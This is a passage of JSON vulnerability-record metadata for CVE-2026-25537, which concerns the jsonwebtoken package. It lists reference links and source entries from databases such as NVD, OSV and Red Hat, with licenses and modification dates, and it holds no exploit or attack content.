buntu.com/~ubuntu-security/cve/CVE-2026-25537"},{"type":"PACKAGE","url":"https://github.com/Keats/jsonwebtoken"},{"type":"REPORT","url":"https://www.cve.org/CVERecord?id=CVE-2026-25537"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25537.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-25537"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2436945"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2026-25537","url":"https://www.cve.org/CVERecord?id=CVE-2026-25537","license":"CC-BY-4.0","modified_at":"2026-02-05T20:52:48.021Z","relation":"self"},{"provider":"nvd","source_id":"CVE-2026-25537","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25537","relation":"self"},{"provider":"osv","source_id":"DEBIAN-CVE-2026-25537","url":"https://osv.dev/vulnerability/DEBIAN-CVE-2026-25537","modified_at":"2026-10-01T03:03:00.659791Z","relation":"self"},{"provider":"osv","source_id":"DHI-vape-72vc-qhhc-as2o","url":"https://osv.dev/vulnerability/DHI-vape-72vc-qhhc-as2o","license":"Apache-2.0","modified_at":"2026-11-19T19:45:07.439159Z","relation":"self"},{"provider":"osv","source_id":"GHSA-h395-gr6q-cpjc","url":"https://osv.dev/vulnerability/GHSA-h395-gr6q-cpjc","license":"CC-BY-4.0","modified_at":"2026-09-10T03:50:35.169824Z","relation":"self"},{"provider":"osv","source_id":"UBUNTU-CVE-2026-25537","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-25537","license":"CC-BY-SA-4.0","modified_at":"2026-10-17T12:58:07.521977Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-25537","url":"https://access.redhat.com/security/cve/CVE-2026-25537","license":"CC-BY-4.0","modified_at":"2026-03-16T08:31:19Z","relation":"self"}]}
